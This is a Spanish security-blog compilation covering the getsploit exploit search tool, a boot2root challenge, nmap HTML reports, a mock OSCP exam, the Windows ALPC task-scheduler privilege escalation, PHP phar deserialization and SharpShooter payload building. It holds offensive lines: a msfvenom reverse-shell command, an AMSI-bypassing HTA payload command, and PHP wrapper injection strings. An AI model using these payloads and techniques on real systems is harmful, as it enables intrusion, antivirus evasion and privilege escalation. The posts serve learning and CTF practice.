Busca y descarga exploits desde la línea de comandos con Getsploit

La gente de Vulners ha creado una herramienta inspirada en searchsploit que permite buscar de forma online en Exploit-DB, Metasplot, Packetstorm y otros y descargar de forma inmediata el código fuente del exploit en la ruta en la que se está trabajando.

Funciona con python 2.6, 2.7 y 3.6 con soporte SQLite FTS4.

Instalación:
# git clone https://github.com/vulnersCom/getsploit
# cd getsploit
# python setup.py install
(o 'pip install getsploit' directamente)

# cd getsploit
# ./getsploit.py -h

usage: Exploit search and download utility [-h] [-t] [-j] [-m] [-c COUNT] [-l]
                                           [-u]
                                           [query [query ...]]

positional arguments:
  query                 Exploit search query. See https://vulners.com/help for
                        the detailed manual.

optional arguments:
  -h, --help            show this help message and exit
  -t, --title           Search JUST the exploit title (Default is description
                        and source code).
  -j, --json            Show result in JSON format.
  -m, --mirror          Mirror (aka copies) search result exploit files to the
                        subdirectory with your search query name.
  -c COUNT, --count COUNT
                        Search limit. Default 10.
  -l, --local           Perform search in the local database instead of
                        searching online.
  -u, --update          Update getsploit.db database. Will be downloaded in
                        the script path.

Uso:

# ./getsploit.py apache struts 2


Descarga de exploits:
# ./getsploit.py -m apache struts 2
# ls ~/getsploit/apache-struts-2# ls
1337day-id-30956.txt  1337day-id-30966.txt  edb-id45262.txt                              packetstorm149086.txt  saint476415a034c3ac589a6ae035fc3b6e74.txt
1337day-id-30965.txt  edb-id45260.txt       msfexploitmultihttpstruts2_rest_xstream.txt  packetstorm149087.txt  saint9b0459bf5aaa66776c1635bf5af5a366.txt

Nota: Si obtienes un error al verificar el certificado SSL (CERTIFICATE_VERIFY_FAILED) puedes desactivar temporalmente la verificación con 'export PYTHONHTTPSVERIFY=0'

Además, si tu python soporta la lib (builtin) de sqlite3 mediante los parámetros --update y --local puedes descargar la base de datos entera de exploits a tu PC para realizar búsquedas offline
# ./getsploit.py --update
Downloading getsploit database archive. Please wait, it may take time. Usually around 5-10 minutes.
219642496/219642496 [100.00%]
Unpacking database.
Database download complete. Now you may search exploits using --local key './getsploit.py -l wordpress 4.7'

Proyecto: https://github.com/vulnersCom/getsploit

Reto 27: boot2root Karim

César Calderón aka @_stuxnet ha preparado otro reto de tipo boot2root, ya sabéis, una máquina que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) y que podemos descargar ya desde:

https://drive.google.com/file/d/1dgfY01tZkqfqP8Nd0MxAdkS5mujmvjrv/view?usp=sharing

La manera de resolver estos retos 'boot2root' debe hacerse como si fuera una máquina remota atacando y explotando sus servicios expuestos. Otros métodos posibles al disponer de la imagen una máquina virtual (protegida o no) como acceder al filesystem en modo recovery, modificar el arranque o montar directamente los discos no son permitidas para este reto.

- Los writeups deben enviarse como siempre a nuestra cuenta de correo hackplayers_at_ymail.com (ymail con "y" griega).
- El primero en conseguir la flag de root.txt y remitirnos el writeup ganará una entrada para la próxima conferencia h-c0n que tendrá lugar durante el próximo mes de febrero en Madrid (pendiente de confirmar la fecha por parte de la UPM).
- Los 5 primeros en comprometer la máquina y enviarnos el writeup con el procedimiento correcto entrarán también en nuestro eterno hall de la fama.
- El mejor writeup recibido será publicado en el blog con la atribución y referencias a su autor correspondientes.

Podéis comentar cualquier duda (no spoilers) sobre el reto comentanto este post o a través de nuestras RR.SS.

Implementación de nmap XSL con Bootstrap

Una manera rápida y eficaz de revisar la información obtenida de un escaneo de nmap cuando tenemos muchos resultados, es decir, generalmente cuando escaneamos rangos de redes con muchos hosts, es hacerlo mediante un informe en HTML. Sin embargo, nmap no tiene la opción de guardar directamente los resultados del escaneo en HTML. Para conseguirlo, se puede indicar una salida en XML que normalmente contiene una referencia a una hoja XSL que describe cómo debe transformarse.

El alemán Andreas Hontzia ha publicado precisamente una implementación de una plantilla XSL de nmap con Bootstrap con la que se obtienen unos resultados bastante buenos. Primero descargamos el xsl nmap-bootstrap.xsl de su repositorio y luego por ejemplo ejecutamos:

nmap -sS -T4 -A -sC -oA scanme --stylesheet nmap-bootstrap.xsl scanme.nmap.org scanme2.nmap.org

Podremos abrir el fichero scanme.xml con nuestro navegador y/o transformar el xml a html con xsltproc:

xsltproc -o scanme.html nmap-bootstrap.xsl scanme.xml

También, si tenemos escaneos realizado anteriormente y queremos usar su hoja xsl simplemente podemos añadir <?xml-stylesheet href="https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/master/nmap-bootstrap.xsl" type="text/xsl"?> después de <!DOCTYPE nmaprun>.

Los resultados en los screenshots hablan por si mismos:

Examen de prueba para estudiantes del OSCP

Una de las certificaciones más valoradas en la actualidad por un pentester es el OSCP (Offensive Security Certified Professional), principalmente porque es eminentemente práctica y requiere mucho tiempo de labs (PWK y otros) para enfrentarte a un duro examen final en el que el alumno tendrá que abordar 5 máquinas en un plazo de tan sólo 24 horas...


Lo único seguro durante ese día (a parte de la tensión y los nervios) es que sólo se podrá usar Metasploit en una de esas máquinas y que una de las vulnerabilidades a explotar, sí o sí, será una BoF sencillo. A partir de ahí todo es ansiedad y dudas para el estudiante que se enfrenta por primera vez a la prueba que va a medir sus conocimientos adquiridos normalmente durante bastante tiempo.

Precisamente para los estudiantes que se vayan a estrenar en el examen del OSCP y quieran realizar una prueba antes, Nate Curry ha empaquetado cinco máquinas (cinco VMs) para simular lo que sería el examen real. Evidentemente estas máquinas no son de Offensive Security y podrás encontrar sus writeups en Internet, pero la gracia consiste en hacerlas en un plazo de 24 horas para ir midiéndose y preparándose para el día D.

Una vez terminado el tiempo de vuestra prueba ficticia, tenéis en el fichero Box_Names.txt en base64 los nombres reales de las máquinas. Con ellas podrás ver los writeups que hay en Internet para comprobar si hay otros vectores de ataque que te perdiste y revisar las cosas que no pudiste comprometer, todo con el objetivo de reforzar lo necesario y organizarse mejor en el examen.

Instrucciones

- Programa una hora concreta para cuando quieras que comience el período de 24 horas
- Sigue las pautas del examen del OSCP sobre el uso de Metasploit y otras reglas que encontrarás en el examen real para replicar mejor las condiciones reales
- Las máquinas tienen puntos asociados a cada una en una escala del 1-10. La puntuación para aprobar será 7 de 10 puntos
- NO NECESITARÁS METASPLOIT EN ESTE EXÁMEN PRÁCTICO
- Resiste la tentación de ver como se levantan las VM ya que algunas máquinas de Vulnhub revelan su nombre durante las secuencia de arranque, así como también en las pantallas de inicio de sesión.
- No leas el archivo "Box_Names.txt" hasta que estés listo para leer los comentarios de cada máquina
-Es muy fácil hacer trampas en este examen práctico, pero haz tu mejor esfuerzo para no darte pistas por tu propio bien

Descarga el siguiente archivo zip con el examen (actualizado a 3 de agosto de 2018):

https://drive.google.com/open?id=1p0U9yYSObcJty5REN88EQzPeDOFauIn0

Fuente: https://h4cklife.org/2018/05/22/a-pre-exam-for-future-oscp-students/

Publican un 0-day que permite escalar privilegios en Windows debido a un bug en el programador de tareas (ALPC)

Hace un par de días @SandboxEscaper liberó en Twitter una vulnerabilidad de día 0 muy a tener en cuenta para escalar privilegios en Windows, junto con una PoC del exploit que funciona perfectamente en un Windows 10 de 64 bits con los últimos parches....

El servicio del programador de tareas tiene un endpoint ALPC (Advanced Local Procedure Call) que admite el método "SchRpcSetSecurity".

El prototipo se ve así:
    long _SchRpcSetSecurity(
        [in][string] wchar_t* arg_1, //nombre de la tarea
        [in][string] wchar_t* arg_2, //string del descriptor de seguridad
        [in]long arg_3);

Las tareas añadidas mediante el programador crean la carpeta/archivo correspondiente en c:\windows\system32\tasks. Esta función parece estar diseñada para escribir la DACL de las tareas ubicadas ahí y lo hace impersonalizándose. Sin embargo, por alguna razón, también comprueba si existe un archivo .job en c:\windows\tasks e intenta establecer la DACL, pero esta vez sin impersonación. Con cualquier usuario, incluso un usuario que pertenece al grupo de invitados, se pueden crear archivos en esta carpeta, simplemente podemos crear un hardlink a otro archivo (todo lo que necesitamos es acceso de lectura). Debido al enlace podemos permitir que el programador de tareas escriba una DACL arbitraria (ver el segundo parámetro de SchRpcSetSecurity) en un archivo de nuestra elección.

Por lo tanto, podemos aprovechar cualquier archivo al que tengamos acceso de lectura como usuario y que tenga permiso de escritura de DACL para SYSTEM, para sobrescribirlo y tomar control total de la máquina.

Explotación

El problema principal es que en una instalación por defecto, muchos archivos críticos solo pueden ser modificados por un instalador confiable (ni siquiera por system).

Mediante el siguiente script en PowerShell se pueden enumerar archivos sobre los que puede tomar el control. Simplemente ejecuta ./enumerate.ps1> output.txt
$aapsid = 'NT AUTHORITY\SYSTEM'

ForEach($file in (Get-ChildItem -recurse -Path 'C:\windows')) {
 
   $acl = Get-Acl -path $file.PSPath
   ForEach($ace in $acl.Access) {
      If(($ace.FileSystemRights -eq
           [Security.AccessControl.FileSystemRights]::FullControl) -and 
            $ace.IdentityReference.Value -in $aapsid) {
               Write-Output $file.PSPath
              
      }
        
   }
   
   }

Hay muchos posibles objetivos (además, se puede tomar el control de cosas en archivos del programa, y ​​si el objetivo lo comparten los administradores u otros usuarios, es posible que terminen ejecutando programas que puedes sobrescribir).

[HTB write-up] Celestial


00 - recon

[*] - nmap

Nmap solo muestra el puerto 3000. Con un servidor Node.js a la escucha.


[*] – burp suite
 
Si llamamos con un GET y con la cookie que nos da el server tenemos un mensaje un tanto loco:


2+2 es 22 si.. si lo tomas como un char. Veamos que tiene esa cookie que viene codificada en base64. Darse cuenta también que burp nos está dando el ‘=’ como ‘%3D’ (al final).

Trasteando con Sharpshooter, archivos iqy y compiladores de C#

Trasteando estos últimos días con la información que nos va compartiendo el compi @Superfume, me dio por probar diferentes herramientas y técnicas y mezclar sus resultados.
En el post explicaré cómo utilizar Sharpshooter con la nueva flag para bypassear amsi, cómo hacer uso del ejecutable Microsoft.Workflow.Compiler.exe para compilar y ejecutar código C# y cómo utilizar los archivos .iqy de Excel para ejecutar código remoto. Por último, una mezcla de las técnicas anteriormente descritas.

PARTE 1: SHARPSHOOTER
SharpShooter tiene bastantes flags y formas de crear payloads, lo que mejor me ha funcionado a mi estos días ha sido lo siguiente:

python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile reversa -smuggle --template mcafee --amsi amsienable

Con este comando crearemos dos ficheros:
  • Foo.hta
  • Foo.html
Destacar que en la flag --rawscfile incluiremos nuestra reversa en formato raw:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=15900 EnableStageEncoding=True PrependMigrate=True -f raw > reversa


Deserialización de phar, nueva técnica de explotación en PHP

La semana pasada Sam Thomas de Secarma presentó en la BlackHat USA una nueva técnica de deserialización en PHP sin usar la función unserialize(), que permite a un atacante usar las vulnerabilidades relacionadas con archivos para conseguir ejecución remota de código.

Archivos Phar

La mayoría de las operaciones con archivos en PHP permiten utilizar varios wrappers como si fuera una URL, como data://, zlib:// o php:// cuando se accede a una ruta de archivo. Algunos de estos wrappers se utilizan a menudo para explotar vulnerabilidades RFI donde un atacante puede controlar la ruta completa del archivo para la inclusión. Por ejemplo, los wrappers se usan para obtener el código fuente que de otro modo se ejecutaría, o para inyectar código PHP propio para su ejecución:
include('php://filter/convert.base64-encode/resource=index.php');
include('data://text/plain;base64,cGhwaW5mbygpCg==');

Pero hasta ahora, nadie prestó atención al wrapper phar://. Lo interesante de los archivos Phar (Archivo PHP) es que contienen metadatos en formato serializado. Vamos a crear un archivo Phar y agregar un objeto con algunos datos como metadatos:
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');

// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();

Nuestro archivo recién creado test.phar tiene el siguiente contenido:


Como podéis ver nuestro objeto se almacenó como una cadena serializada.

Inyección de objetos PHP

Evidentemente si ahora se realiza una operación en nuestro archivo Phar a través del wrapper phar://, sus metadatos serializados se deserializarán (parece un trabalenguas).

Esto significa que nuestro objeto inyectado en los metadatos se cargará en el scope de la aplicación. Si esta aplicación tiene una clase llamada AnyClass y tiene el método mágico __destruct () o __wakeup () definido, entonces esos métodos se invocarán automáticament, es decir, podemos activar cualquier método destructor o de activación en la base del código. O peor aún, si estos métodos operan con nuestros datos inyectados, esto puede conducir a más vulnerabilidades.
class AnyClass {
    function __destruct() {
        echo $this->data;
    }
}
// output: rips
include('phar://test.phar');

Explotación

Básicamente un atacante debe ser capaz de elaborar y poner un archivo Phar en el servidor web objetivo (con metadatos serializados maliciosos) y luego que sea llamado.

Por ej., Sam Thomas encontró algunos trucos sobre cómo introducir un archivo Phar en un archivo JPG falso, por lo que una característica común de carga de imágenes ya es suficiente. Cualquier otra operación de archivo que haga referencia a nuestro phar también nos valdría.

Podéis pensar que ésto no parece tan crítico porque si un atacante puede controlar la ruta completa del archivo en operaciones tales como "include(), fopen(), file_get_contents(), file() etc., ya presenta una vulnerabilidad crítica en sí misma. Pero la entrada del usuario utilizada en estas funciones generalmente se valida.

Sin embargo, la deserialización se desencadena para el contenedor phar:// en cualquier operación de archivo. Por lo tanto, otras operaciones de archivos, como file_exists() que simplemente verifica la existencia de un archivo, hasta ahora se consideraban menos sensibles a estos problemas de seguridad y están menos protegidas.

Más info y casos de estudio en la presentación oficial:

https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf

Fuente: https://blog.ripstech.com/2018/new-php-exploitation-technique/